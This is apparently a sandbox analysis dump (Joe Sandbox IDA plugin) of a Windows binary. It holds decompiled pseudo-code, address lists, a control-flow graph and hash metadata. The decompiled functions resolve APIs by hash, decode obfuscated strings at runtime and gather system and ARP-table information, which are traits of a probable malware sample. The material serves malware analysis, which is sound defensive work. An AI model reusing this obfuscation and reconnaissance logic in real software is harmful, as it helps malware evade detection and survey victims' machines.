					_v174 = 0x6a;
					_v173 = 0x73;
					_v172 = 0x6a;
					_v171 = 0x7d;
					_v170 = 0x6a;
					_v169 = 0x18;
					_v168 = 0x6a;
					_v167 = 0x33;
					_v166 = 0x6a;
					_v165 = 0x28;
					_v164 = 0x6a;
					_v163 = 0x53;
					_v162 = 0x6a;
					_v161 = 0x73;
					_v160 = 0x6a;
					_v159 = 0x69;
					_v158 = 0x6a;
					_v157 = 4;
					_v156 = 0x6a;
					_v155 = 0x18;
					_v154 = 0x6a;
					_v153 = 0x3b;
					_v152 = 0x6a;
					_v151 = 0x7d;
					_v150 = 0x6a;
					_v149 = 0x1f;
					_v148 = 0x6a;
					_v147 = 0x46;
					_v146 = 0x6a;
					_v145 = 0x28;
					_v144 = 0x6a;
					_v143 = 0x69;
					_v142 = 0x6a;
					_v141 = 0x1f;
					_v140 = 0x6a;
					_v139 = 0x50;
					_v138 = 0x6a;
					_v137 = 0x34;
					_v136 = 0x6a;
					_v135 = 0x34;
					_v134 = 0x6a;
					_v133 = 0x14;
					_v132 = 0x6a;
					_v131 = 0x34;
					_v130 = 0x6a;
					_v129 = 0x18;
					_v128 = 0x6a;
					_v127 = 0x25;
					_v126 = 0x6a;
					_v125 = 0x18;
					_v124 = 0x6a;
					_v123 = 0x23;
					_v122 = 0x6a;
					_v121 = 0x73;
					_v120 = 0x6a;
					_v119 = 0x54;
					_v118 = 0x6a;
					_v117 = 0x6a;
					_v116 = 0x6a;
					E00F2FDD0(_t356, _t421, _t425, E00F345F0( &_v196), _t352);
					L6:
					return E00F37A82(_v8 ^ _t428);
				}
			}


































































































































































































































































    0x00f31d80
    0x00f31d80
    0x00f31d89
    0x00f31d90
    0x00f31d93
    0x00f31d9b
    0x00f31da1
    0x00f31da7
    0x00f31db0
    0x00f31dbc
    0x00f31dc1
    0x00f31dc7
    0x00f31dc7
    0x00f31dd5
    0x00f31dd7
    0x00f31ddc
    0x00f32039
    0x00f3203f
    0x00f32041
    0x00f32044
    0x00f3204c
    0x00000000
    0x00f3204e
    0x00f32052
    0x00f32057
    0x00f3205d
    0x00f32060
    0x00f32068
    0x00f32074
    0x00f32079
    0x00f3207f
    0x00f3207f
    0x00f3208c
    0x00f32090
    0x00f32329
    0x00f32333
    0x00f32339
    0x00f32339
    0x00f3233c
    0x00f32341
    0x00f32347
    0x00f32347
    0x00f32349
    0x00f3234c
    0x00f3234f
    0x00f32354
    0x00f32354
    0x00f32357
    0x00f3235a
    0x00f3235a
    0x00f32360
    0x00f32366
    0x00f32368
    0x00f3236e
    0x00f32372
    0x00f32376
    0x00f3237a
    0x00f3237e
    0x00f32382
    0x00f3238d
    0x00f3238f
    0x00f32391
    0x00f32391
    0x00f323a2
    0x00f323a8
    0x00f323ab
    0x00f323af
    0x00f323b0
    0x00f32391
    0x00f323b5
    0x00f323ba
    0x00f323c2
    0x00f323ce
    0x00f323d3
    0x00f323d9
    0x00f323d9
    0x00f323df
    0x00f323e4
    0x00f323e6
    0x00f323ed
    0x00f323f1
    0x00f323f5
    0x00f323f9
    0x00f323fd
    0x00f32401
    0x00f32405
    0x00f32409
    0x00f3240d
    0x00f32413
    0x00f3241a
    0x00f3241f
    0x00f32425
    0x00f32427
    0x00f3242f
    0x00f3243b
    0x00f32440
    0x00f32446
    0x00f32446
    0x00f3244e
    0x00f32450
    0x00f32454
    0x00f32458
    0x00f3245c
    0x00f32460
    0x00f3246b
    0x00f32471
    0x00f32473
    0x00f32475
    0x00f32482
    0x00f32488
    0x00f3248b
    0x00f3248f
    0x00f32490
    0x00f32475
    0x00f32495
    0x00f3249a
    0x00f324a2
    0x00f324ae
    0x00f324b3
    0x00f324b9
    0x00f324b9
    0x00f324c4
    0x00f324c6
    0x00f324ca
    0x00f324cc
    0x00f324d0
    0x00f324d4
    0x00f324d8
    0x00f324dc
    0x00f324e6
    0x00f324eb
    0x00f324f1
    0x00f324f3
    0x00f324fb
    0x00f32507
    0x00f3250c
    0x00f32512
    0x00f32512
    0x00f3251a
    0x00f32522
    0x00f32534
    0x00f3253a
    0x00f3253e
    0x00f3255b
    0x00f3255e
    0x00f32561
    0x00f32563
    0x00f3256c
    0x00f3256e
    0x00f32573
    0x00f32578
    0x00f3257b
    0x00f3257f
    0x00f32586
    0x00f32588
    0x00f32588
    0x00f3258b
    0x00f32594
    0x00f3259a
    0x00f3259c
    0x00000000
    0x00f3259c
    0x00f32540
    0x00f32540
    0x00f32540
    0x00f32543
    0x00f32549
    0x00000000
    0x00f3254b
    0x00f3254b
    0x00f32552
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f32552
    0x00000000
    0x00f32554
    0x00f32554
    0x00f32557
    0x00000000
    0x00f32540
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3259f
    0x00f325ab
    0x00f325b2
    0x00f325b5
    0x00f325bb
    0x00f325c3
    0x00f325c3
    0x00f325ce
    0x00f325ce
    0x00f325ce
    0x00f325d5
    0x00f325f2
    0x00f32096
    0x00f32096
    0x00f3209b
    0x00f320a0
    0x00f320ab
    0x00f320b0
    0x00f320b6
    0x00f320b6
    0x00f320b9
    0x00f320bb
    0x00f320c2
    0x00f320c9
    0x00f320d0
    0x00f320d7
    0x00f320de
    0x00f320e5
    0x00f320ec
    0x00f320f3
    0x00f320fa
    0x00f32101
    0x00f32108
    0x00f3210f
    0x00f32116
    0x00f3211d
    0x00f32124
    0x00f3212b
    0x00f32132
    0x00f32139
    0x00f32140
    0x00f32147
    0x00f3214e
    0x00f32155
    0x00f3215c
    0x00f32163
    0x00f3216a
    0x00f32171
    0x00f32178
    0x00f3217f
    0x00f32186
    0x00f3218d
    0x00f32194
    0x00f3219b
    0x00f321a2
    0x00f321a9
    0x00f321b0
    0x00f321b7
    0x00f321be
    0x00f321c5
    0x00f321cc
    0x00f321d3
    0x00f321da
    0x00f321e1
    0x00f321e8
    0x00f321ef
    0x00f321f6
    0x00f321fd
    0x00f32204
    0x00f3220b
    0x00f32212
    0x00f32219
    0x00f32220
    0x00f32227
    0x00f3222e
    0x00f32235
    0x00f3223c
    0x00f32243
    0x00f3224a
    0x00f32251
    0x00f32258
    0x00f3225f
    0x00f32266
    0x00f3226d
    0x00f32274
    0x00f3227b
    0x00f32282
    0x00f32289
    0x00f32290
    0x00f32297
    0x00f3229e
    0x00f322a5
    0x00f322ac
    0x00f322b3
    0x00f322ba
    0x00f322c1
    0x00f322c8
    0x00f322cf
    0x00f322d6
    0x00f322de
    0x00f322e5
    0x00f322f2
    0x00f32305
    0x00f3230b
    0x00f32325
    0x00f32325
    0x00f32090
    0x00f31de2
    0x00f31de2
    0x00f31de7
    0x00f31dec
    0x00f31df7
    0x00f31dfc
    0x00f31e02
    0x00f31e02
    0x00f31e05
    0x00f31e07
    0x00f31e0e
    0x00f31e15
    0x00f31e1c
    0x00f31e23
    0x00f31e2a
    0x00f31e31
    0x00f31e38
    0x00f31e3f
    0x00f31e46
    0x00f31e4d
    0x00f31e54
    0x00f31e5b
    0x00f31e62
    0x00f31e69
    0x00f31e70
    0x00f31e77
    0x00f31e7e
    0x00f31e85
    0x00f31e8c
    0x00f31e93
    0x00f31e9a
    0x00f31ea1
    0x00f31ea8
    0x00f31eaf
    0x00f31eb6
    0x00f31ebd
    0x00f31ec4
    0x00f31ecb
    0x00f31ed2
    0x00f31ed9
    0x00f31ee0
    0x00f31ee7
    0x00f31eee
    0x00f31ef5
    0x00f31efc
    0x00f31f03
    0x00f31f0a
    0x00f31f11
    0x00f31f18
    0x00f31f1f
    0x00f31f26
    0x00f31f2d
    0x00f31f34
    0x00f31f3b
    0x00f31f42
    0x00f31f49
    0x00f31f50
    0x00f31f57
    0x00f31f5e
    0x00f31f65
    0x00f31f6c
    0x00f31f73
    0x00f31f7a
    0x00f31f81
    0x00f31f88
    0x00f31f8f
    0x00f31f96
    0x00f31f9d
    0x00f31fa4
    0x00f31fab
    0x00f31fb2
    0x00f31fb9
    0x00f31fc0
    0x00f31fc7
    0x00f31fcb
    0x00f31fcf
    0x00f31fd3
    0x00f31fd7
    0x00f31fdb
    0x00f31fdf
    0x00f31fe3
    0x00f31fe7
    0x00f31feb
    0x00f31fef
    0x00f31ff3
    0x00f31ff7
    0x00f31ffb
    0x00f32000
    0x00f32004
    0x00f3200e
    0x00f3201e
    0x00f32026
    0x00f32038
    0x00f32038

    APIs
    • GetIpNetTable.IPHLPAPI(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F31DD5
      • Part of subcall function 00F2FDD0: GetLocalTime.KERNEL32(?), ref: 00F2FED3
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: LocalTableTime
    • String ID: 2dV'$!$"$#$#$$$$$$$$$$$%$&$($($($+$1$1$1$3$4$4$4$8$;$;$;$B$B$D$F$I$J\MA6$K$P$S$S$T$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$W$]$]$`$`$`$b$b$b$h$i$i$i$i$i$i$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$k$p$q$r$s$s$s$t$t$x$}$}$}$}
    • API String ID: 2045325670-2107391113
    • Opcode ID: 4cca3c2d188107b23602ceb1364adb9946cf6ff5e9d977140dd84d9448362b31
    • Instruction ID: 3eb5b1e03fd9ab10ebe6e56f03e04361ae7800b3ac2e4bef7ff634b99a0fe485
    • Opcode Fuzzy Hash: 4cca3c2d188107b23602ceb1364adb9946cf6ff5e9d977140dd84d9448362b31
    • Instruction Fuzzy Hash: A142F2309082D8CDEB61D768DC587DDBFB15B26308F0840D9C48D6B282D7BA5A99DF62
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F24200 Relevance: 233.5, APIs: 2, Strings: 131, Instructions: 707COMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 532 f24200-f24223 533 f24240-f24248 532->533 534 f24225-f2423a call f222a0 532->534 538 f2424a-f24257 533->538 539 f242b8-f242ca call f37a82 533->539 534->533 540 f24274-f2428f 538->540 541 f24259-f2426e call f222a0 538->541 547 f24291-f24299 540->547 548 f242cb-f242dd 540->548 541->540 551 f242b6 547->551 552 f2429b-f242b0 call f222a0 547->552 549 f242fa-f24325 548->549 550 f242df-f242f4 call f222a0 548->550 558 f24327-f2433b call f222a0 549->558 559 f2433e-f2434f GetNativeSystemInfo 549->559 550->549 551->539 552->551 558->559 561 f24576-f24642 call f2fbc0 559->561 562 f24355-f24362 559->562 570 f24644-f24659 call f222a0 561->570 571 f2465f-f24688 561->571 565 f24364-f24379 call f222a0 562->565 566 f2437f-f24398 562->566 565->566 573 f246b4-f246cb call f23f70 call f37a82 566->573 574 f2439e-f2450f call f2fc00 call f23ff0 566->574 570->571 587 f2468a-f2469a call f23fa0 571->587 588 f246a8-f246af 571->588 589 f24511-f24526 call f222a0 574->589 590 f2452c-f2455d 574->590 596 f246cc-f2491b call f2fb80 call f23ff0 call f2fb20 call f23ff0 587->596 597 f2469c-f246a3 587->597 588->573 589->590 600 f24561-f24570 call f24030 590->600 610 f24934-f24950 596->610 611 f2491d-f2492f 596->611 597->588 600->561 600->573 612 f24956-f2495c 610->612 613 f24f99-f24fa1 610->613 618 f24fc7-f24fcd call f23f70 611->618 615 f24961-f24975 612->615 616 f24fa3-f24fa5 613->616 617 f24fa9-f24fc1 613->617 620 f24979-f24980 615->620 616->617 617->618 627 f24fd2-f24fe7 call f37a82 618->627 620->613 622 f24986-f249c4 620->622 625 f249c6-f249c8 622->625 626 f249fa-f24a1f 622->626 628 f249d0-f249f8 625->628 631 f24a25-f24a2e 626->631 628->626 628->628 631->631 633 f24a30-f24e94 631->633 634 f24ed0-f24ef3 wsprintfW 633->634 635 f24e96-f24e98 633->635 637 f24ef5-f24f09 call f222a0 634->637 638 f24f0c-f24f30 call f24070 634->638 636 f24ea0-f24ece 635->636 636->634 636->636 637->638 644 f24f32-f24f46 call f222a0 638->644 645 f24f49-f24f59 638->645 644->645 649 f24f76-f24f93 645->649 650 f24f5b-f24f70 call f222a0 645->650 649->613 649->615 650->649
    C-Code - Quality: 65%
    			E00F24200(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				short _v2060;
				char _v2064;
				intOrPtr _v2076;
				char _v2084;
				short _v2120;
				void* _v2124;
				void* _v2128;
				void* _v2132;
				void* _v2136;
				void* _v2140;
				char _v2144;
				intOrPtr _v2156;
				char _v2164;
				char _v2166;
				char _v2167;
				char _v2168;
				char _v2169;
				char _v2170;
				char _v2171;
				char _v2172;
				char _v2176;
				char _v2177;
				char _v2178;
				char _v2179;
				char _v2180;
				char _v2181;
				char _v2182;
				char _v2183;
				char _v2184;
				char _v2186;
				char _v2187;
				char _v2188;
				char _v2189;
				char _v2190;
				char _v2191;
				char _v2192;
				char _v2193;
				char _v2194;
				char _v2195;
				char _v2196;
				char _v2197;
				char _v2198;
				char _v2199;
				char _v2200;
				char _v2201;
				char _v2202;
				char _v2203;
				char _v2204;
				char _v2205;
				char _v2206;
				char _v2207;
				char _v2208;
				char _v2210;
				char _v2211;
				char _v2212;
				char _v2213;
				char _v2214;
				char _v2215;
				char _v2216;
				char _v2217;
				char _v2218;
				char _v2219;
				char _v2220;
				char _v2221;
				char _v2222;
				char _v2223;
				char _v2224;
				char _v2225;
				char _v2226;
				char _v2227;
				char _v2228;
				char _v2229;
				char _v2230;
				char _v2231;
				char _v2232;
				char _v2233;
				char _v2234;
				char _v2235;
				char _v2236;
				char _v2237;
				char _v2238;
				char _v2239;
				char _v2240;
				char _v2241;
				char _v2242;
				char _v2243;
				char _v2244;
				char _v2245;
				char _v2246;
				char _v2247;
				char _v2248;
				char _v2249;
				char _v2250;
				char _v2251;
				char _v2252;
				char _v2253;
				char _v2254;
				char _v2255;
				char _v2256;
				char _v2258;
				char _v2259;
				char _v2260;
				char _v2261;
				char _v2262;
				char _v2263;
				char _v2264;
				char _v2265;
				char _v2266;
				char _v2267;
				char _v2268;
				char _v2269;
				char _v2270;
				char _v2271;
				char _v2272;
				char _v2273;
				char _v2274;
				char _v2275;
				char _v2276;
				char _v2277;
				char _v2278;
				char _v2279;
				char _v2280;
				char _v2281;
				char _v2282;
				char _v2283;
				char _v2284;
				char _v2285;
				char _v2286;
				char _v2287;
				char _v2288;
				char _v2289;
				char _v2290;
				char _v2291;
				char _v2292;
				char _v2293;
				char _v2294;
				char _v2295;
				char _v2296;
				char _v2297;
				char _v2298;
				char _v2299;
				char _v2300;
				char _v2301;
				char _v2302;
				char _v2303;
				char _v2304;
				char _v2305;
				char _v2306;
				char _v2307;
				char _v2308;
				char _v2309;
				char _v2310;
				char _v2311;
				char _v2312;
				char _v2313;
				char _v2314;
				char _v2315;
				char _v2316;
				char _v2317;
				char _v2318;
				char _v2319;
				char _v2320;
				char _v2326;
				char _v2327;
				char _v2328;
				char _v2329;
				char _v2330;
				char _v2331;
				char _v2332;
				char _v2333;
				char _v2334;
				char _v2335;
				char _v2336;
				char _v2337;
				char _v2338;
				char _v2339;
				char _v2340;
				char _v2341;
				char _v2342;
				char _v2343;
				char _v2344;
				char _v2345;
				char _v2346;
				char _v2347;
				char _v2348;
				char _v2349;
				char _v2350;
				char _v2351;
				char _v2352;
				char _v2353;
				char _v2354;
				char _v2355;
				char _v2356;
				char _v2357;
				char _v2358;
				char _v2359;
				char _v2360;
				char _v2361;
				char _v2362;
				char _v2363;
				char _v2364;
				char _v2365;
				char _v2366;
				char _v2367;
				char _v2368;
				char _v2369;
				char _v2370;
				char _v2371;
				char _v2372;
				char _v2373;
				char _v2374;
				char _v2375;
				char _v2376;
				char _v2377;
				char _v2378;
				char _v2379;
				char _v2380;
				char _v2381;
				char _v2382;
				char _v2383;
				char _v2384;
				char _v2385;
				char _v2386;
				char _v2387;
				char _v2388;
				char _v2389;
				char _v2390;
				char _v2391;
				char _v2392;
				char _v2393;
				char _v2394;
				char _v2395;
				char _v2396;
				char _v2397;
				char _v2398;
				char _v2399;
				char _v2400;
				char _v2401;
				char _v2402;
				char _v2403;
				char _v2404;
				char _v2405;
				char _v2406;
				char _v2407;
				char _v2408;
				char _v2409;
				char _v2410;
				char _v2411;
				char _v2412;
				char _v2413;
				char _v2414;
				char _v2415;
				char _v2416;
				char _v2417;
				char _v2418;
				char _v2419;
				char _v2420;
				char _v2421;
				char _v2422;
				char _v2423;
				char _v2424;
				char _v2425;
				char _v2426;
				char _v2427;
				char _v2428;
				char _v2429;
				char _v2430;
				char _v2431;
				char _v2432;
				char _v2433;
				char _v2434;
				char _v2435;
				char _v2436;
				char _v2437;
				char _v2438;
				char _v2439;
				char _v2440;
				char _v2441;
				char _v2442;
				char _v2443;
				char _v2444;
				char _v2445;
				char _v2446;
				char _v2447;
				char _v2448;
				char _v2449;
				char _v2450;
				char _v2451;
				char _v2452;
				char _v2453;
				char _v2454;
				char _v2455;
				char _v2456;
				char _v2457;
				char _v2458;
				char _v2459;
				char _v2460;
				char _v2461;
				char _v2462;
				char _v2463;
				char _v2464;
				char _v2465;
				char _v2466;
				char _v2467;
				char _v2468;
				char _v2469;
				char _v2470;
				char _v2471;
				char _v2472;
				char _v2473;
				char _v2474;
				char _v2475;
				char _v2476;
				char _v2477;
				char _v2478;
				char _v2479;
				char _v2480;
				char _v2481;
				char _v2482;
				short _v2483;
				char _v2484;
				signed int _t444;
				intOrPtr _t446;
				intOrPtr* _t447;
				void* _t448;
				intOrPtr _t451;
				intOrPtr* _t452;
				void* _t453;
				intOrPtr _t454;
				intOrPtr* _t455;
				intOrPtr _t457;
				intOrPtr* _t458;
				void* _t461;
				intOrPtr* _t462;
				void* _t463;
				intOrPtr* _t465;
				intOrPtr _t472;
				void* _t475;
				intOrPtr* _t477;
				intOrPtr* _t479;
				intOrPtr* _t481;
				intOrPtr* _t490;
				char* _t492;
				intOrPtr _t497;
				intOrPtr* _t498;
				intOrPtr _t501;
				intOrPtr* _t502;
				intOrPtr _t504;
				intOrPtr* _t505;
				intOrPtr* _t507;
				intOrPtr* _t523;
				intOrPtr* _t525;
				intOrPtr _t527;
				intOrPtr* _t528;
				void* _t529;
				void* _t532;
				intOrPtr* _t533;
				intOrPtr* _t536;
				void* _t537;
				intOrPtr* _t539;
				intOrPtr _t548;
				intOrPtr* _t549;
				intOrPtr* _t558;
				intOrPtr* _t559;
				intOrPtr* _t560;
				char _t567;
				intOrPtr _t573;
				intOrPtr _t575;
				intOrPtr _t577;
				intOrPtr _t585;
				intOrPtr _t589;
				intOrPtr _t594;
				intOrPtr _t596;
				intOrPtr _t598;
				intOrPtr _t600;
				intOrPtr _t602;
				intOrPtr _t604;
				intOrPtr _t606;
				void* _t631;
				void* _t633;
				void* _t636;
				void* _t637;
				void* _t638;
				signed int _t640;
				void* _t641;
				void* _t642;

				_t632 = __esi;
				_t629 = __edi;
				_t541 = __ebx;
				_t444 =  *0xf4a004; // 0x355216d4
				_v8 = _t444 ^ _t640;
				_t446 =  *0xf4c2ec; // 0xddcc10
				_t447 =  *((intOrPtr*)(_t446 + 0x11c));
				if(_t447 == 0) {
					_t447 = E00F222A0(__ebx, 0, _t447 + 9, __edi, __esi, 0x2bdbdf4e);
					_t606 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t606 + 0x11c)) = _t447;
				}
				_t448 =  *_t447(0, 0); // executed
				if(_t448 < 0) {
					L9:
					return E00F37A82(_v8 ^ _t640);
				} else {
					_t451 =  *0xf4c2ec; // 0xddcc10
					_t452 =  *((intOrPtr*)(_t451 + 0x118));
					if(_t452 == 0) {
						_t452 = E00F222A0(_t541, 0, _t452 + 9, _t629, _t632, 0xcc12507f);
						_t604 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t604 + 0x118)) = _t452;
					}
					_t453 =  *_t452(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0); // executed
					_t454 =  *0xf4c2ec; // 0xddcc10
					if(_t453 >= 0) {
						_v2128 = 0;
						_t455 =  *((intOrPtr*)(_t454 + 0x110));
						if(_t455 == 0) {
							_t455 = E00F222A0(_t541, 0, _t455 + 9, _t629, _t632, 0xb32feeec);
							_t600 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t600 + 0x110)) = _t455;
						}
						 *_t455(0xf44334, 0, 1, 0xf44264,  &_v2128);
						_t457 =  *0xf4c2ec; // 0xddcc10
						_v2132 = 0;
						_t458 =  *((intOrPtr*)(_t457 + 0x4c));
						if(_t458 == 0) {
							_t458 = E00F222A0(_t541, 0, 0, _t629, _t632, 0xdf1af05e);
							_t598 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t598 + 0x4c)) = _t458;
						}
						 *_t458( &_v2120); // executed
						if(_v2120 != 9) {
							L21:
							_v2124 = 0;
							_v2208 = 0;
							_v2207 = 0x5e;
							_v2206 = 0x42;
							_v2205 = 0x3e;
							_v2204 = 0x42;
							_v2203 = 0x3e;
							_v2202 = 0x42;
							_v2201 = 0x49;
							_v2200 = 0x42;
							_v2199 = 0x74;
							_v2198 = 0x42;
							_v2197 = 0x3d;
							_v2196 = 0x42;
							_v2195 = 0x7d;
							_v2194 = 0x42;
							_v2193 = 0x53;
							_v2192 = 0x42;
							_v2191 = 0x34;
							_v2190 = 0x42;
							_v2189 = 0x31;
							_v2188 = 0x42;
							_v2187 = 0x42;
							_v2186 = 0x42;
							_t461 = E00F2FBC0( &_v2208);
							_t548 =  *0xf4c2ec; // 0xddcc10
							_t633 = _t461;
							_t462 =  *((intOrPtr*)(_t548 + 0x16c));
							if(_t462 == 0) {
								_t462 = E00F222A0(_t541, 0, _t462 + 0xa, _t629, _t633, 0xe6bc0210);
								_t585 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t585 + 0x16c)) = _t462;
							}
							_t463 =  *_t462(_t633);
							_t549 = _v2128;
							_push( &_v2124);
							_push(_v2132);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(_t463);
							_push(_t549); // executed
							if( *((intOrPtr*)( *_t549 + 0xc))() < 0) {
								L26:
								_t465 = _v2128;
								 *((intOrPtr*)( *_t465 + 8))(_t465);
								goto L27;
							} else {
								_t642 = _t641 - 0x18;
								if(E00F23FA0(_v2124) >= 0) {
									_v2184 = 0;
									_v2183 = 0x3f;
									_v2182 = 0x21;
									_v2181 = 4;
									_v2180 = 0x21;
									_v2179 = 0x67;
									_v2178 = 0x21;
									_v2177 = 0x21;
									_v2176 = 0x21;
									_t472 = E00F23FF0(E00F2FB80( &_v2184));
									_v2320 = 0;
									_v2319 = 0x6c;
									_t635 = _t472;
									_v2318 = 0x1c;
									_v2317 = 0x12;
									_v2316 = 0x1c;
									_v2315 = 0x3f;
									_v2314 = 0x1c;
									_v2313 = 0x12;
									_v2312 = 0x1c;
									_v2311 = 0x72;
									_v2310 = 0x1c;
									_v2309 = 0x3c;
									_v2308 = 0x1c;
									_v2307 = 0x10;
									_v2306 = 0x1c;
									_v2305 = 0x2c;
									_v2304 = 0x1c;
									_v2303 = 0x10;
									_v2302 = 0x1c;
									_v2301 = 0x61;
									_v2300 = 0x1c;
									_v2299 = 0x1d;
									_v2298 = 0x1c;
									_v2297 = 0x2e;
									_v2296 = 0x1c;
									_v2295 = 0xf;
									_v2294 = 0x1c;
									_v2293 = 0x10;
									_v2292 = 0x1c;
									_v2291 = 0x2b;
									_v2290 = 0x1c;
									_v2289 = 0x44;
									_v2288 = 0x1c;
									_v2287 = 0x52;
									_v2286 = 0x1c;
									_v2285 = 0x78;
									_v2284 = 0x1c;
									_v2283 = 0x29;
									_v2282 = 0x1c;
									_v2281 = 0x28;
									_v2280 = 0x1c;
									_v2279 = 0x6c;
									_v2278 = 0x1c;
									_v2277 = 0x74;
									_v2276 = 0x1c;
									_v2275 = 0x47;
									_v2274 = 0x1c;
									_v2273 = 0x36;
									_v2272 = 0x1c;
									_v2271 = 0x22;
									_v2270 = 0x1c;
									_v2269 = 0x1f;
									_v2268 = 0x1c;
									_v2267 = 0x72;
									_v2266 = 0x1c;
									_v2265 = 0x22;
									_v2264 = 0x1c;
									_v2263 = 0x71;
									_v2262 = 0x1c;
									_v2261 = 0x3e;
									_v2260 = 0x1c;
									_v2259 = 0x1c;
									_v2258 = 0x1c;
									_t475 = E00F23FF0(E00F2FB20( &_v2320));
									_t558 = _v2124;
									_push( &_v2136);
									_push(0);
									_push(0x30);
									_push(_t475);
									_v2136 = 0;
									_push(_t472);
									_push(_t558); // executed
									if( *((intOrPtr*)( *_t558 + 0x50))() >= 0) {
										_t559 = _v2136;
										_v2140 = 0;
										_v2064 = 0;
										if(_t559 != 0) {
											_t631 = wsprintfW;
											while(1) {
												 *((intOrPtr*)( *_t559 + 0x10))(_t559, 0xffffffff, 1,  &_v2140,  &_v2064);
												if(_v2064 == 0) {
													goto L48;
												}
												_v2172 = 0;
												_v2171 = 0x40;
												_v2170 = 0x5d;
												_v2169 = 0x6a;
												_v2168 = 0x5d;
												_v2167 = 0x5d;
												_v2166 = 0x5d;
												if(_v2172 == 0) {
													_t637 = 0;
													do {
														_t224 = _t637 - 0x877; // 0x40
														asm("cdq");
														asm("cdq");
														 *((char*)(_t640 + _t637 - 0x877)) = (((( *(_t640 + _t224) & 0x000000ff) - 0x5d << 4) - ( *(_t640 + _t224) & 0x000000ff) - 0x5d) % 0x7f + 0x7f) % 0x7f;
														_t637 = _t637 + 1;
													} while (_t637 < 6);
												}
												_t490 = _v2140;
												_t238 =  &_v2171; // 0x40
												 *((intOrPtr*)( *_t490 + 0x10))(_t490, _t238, 0,  &_v2164, 0, 0);
												_t567 = 0x800;
												_t492 =  &_v2060;
												do {
													 *_t492 = 0;
													_t492 = _t492 + 1;
													_t567 = _t567 - 1;
												} while (_t567 != 0);
												_v2484 = _t567;
												_v2483 = 0x79;
												_v2482 = 0x12;
												_v2481 = 0x39;
												_v2480 = 0x12;
												_v2479 = 0xd;
												_v2478 = 0x12;
												_v2477 = 3;
												_v2476 = 0x12;
												_v2475 = 0x20;
												_v2474 = 0x12;
												_v2473 = 0xc;
												_v2472 = 0x12;
												_v2471 = 0x20;
												_v2470 = 0x12;
												_v2469 = 0x76;
												_v2468 = 0x12;
												_v2467 = 0x16;
												_v2466 = 0x12;
												_v2465 = 0x79;
												_v2464 = 0x12;
												_v2463 = 0x76;
												_v2462 = 0x12;
												_v2461 = 0x15;
												_v2460 = 0x12;
												_v2459 = 0x68;
												_v2458 = 0x12;
												_v2457 = 0x73;
												_v2456 = 0x12;
												_v2455 = 0x14;
												_v2454 = 0x12;
												_v2453 = 0x6c;
												_v2452 = 0x12;
												_v2451 = 0x4c;
												_v2450 = 0x12;
												_v2449 = 0xd;
												_v2448 = 0x12;
												_v2447 = 0x5f;
												_v2446 = 0x12;
												_v2445 = 0x78;
												_v2444 = 0x12;
												_v2443 = 0x2c;
												_v2442 = 0x12;
												_v2441 = 0x73;
												_v2440 = 0x12;
												_v2439 = 0x47;
												_v2438 = 0x12;
												_v2437 = 0x1f;
												_v2436 = 0x12;
												_v2435 = 0x2c;
												_v2434 = 0x12;
												_v2433 = 0x3f;
												_v2432 = 0x12;
												_v2431 = 0x20;
												_v2430 = 0x12;
												_v2429 = 0x39;
												_v2428 = 0x12;
												_v2427 = 0x62;
												_v2426 = 0x12;
												_v2425 = 0x4f;
												_v2424 = 0x12;
												_v2423 = 0x73;
												_v2422 = 0x12;
												_v2421 = 0x78;
												_v2420 = 0x12;
												_v2419 = 0x66;
												_v2418 = 0x12;
												_v2417 = 0x20;
												_v2416 = 0x12;
												_v2415 = 0x39;
												_v2414 = 0x12;
												_v2413 = 0x73;
												_v2412 = 0x12;
												_v2411 = 0x14;
												_v2410 = 0x12;
												_v2409 = 0x54;
												_v2408 = 0x12;
												_v2407 = 8;
												_v2406 = 0x12;
												_v2405 = 0x15;
												_v2404 = 0x12;
												_v2403 = 3;
												_v2402 = 0x12;
												_v2401 = 0x20;
												_v2400 = 0x12;
												_v2399 = 0xc;
												_v2398 = 0x12;
												_v2397 = 0x20;
												_v2396 = 0x12;
												_v2395 = 0x76;
												_v2394 = 0x12;
												_v2393 = 0x2c;
												_v2392 = 0x12;
												_v2391 = 0x59;
												_v2390 = 0x12;
												_v2389 = 0x53;
												_v2388 = 0x12;
												_v2387 = 0xd;
												_v2386 = 0x12;
												_v2385 = 0x5f;
												_v2384 = 0x12;
												_v2383 = 0x78;
												_v2382 = 0x12;
												_v2381 = 0x79;
												_v2380 = 0x12;
												_v2379 = 0x5f;
												_v2378 = 0x12;
												_v2377 = 0x72;
												_v2376 = 0x12;
												_v2375 = 0x1f;
												_v2374 = 0x12;
												_v2373 = 0x76;
												_v2372 = 0x12;
												_v2371 = 0x78;
												_v2370 = 0x12;
												_v2369 = 0x59;
												_v2368 = 0x12;
												_v2367 = 0x20;
												_v2366 = 0x12;
												_v2365 = 0x19;
												_v2364 = 0x12;
												_v2363 = 0x20;
												_v2362 = 0x12;
												_v2361 = 0x76;
												_v2360 = 0x12;
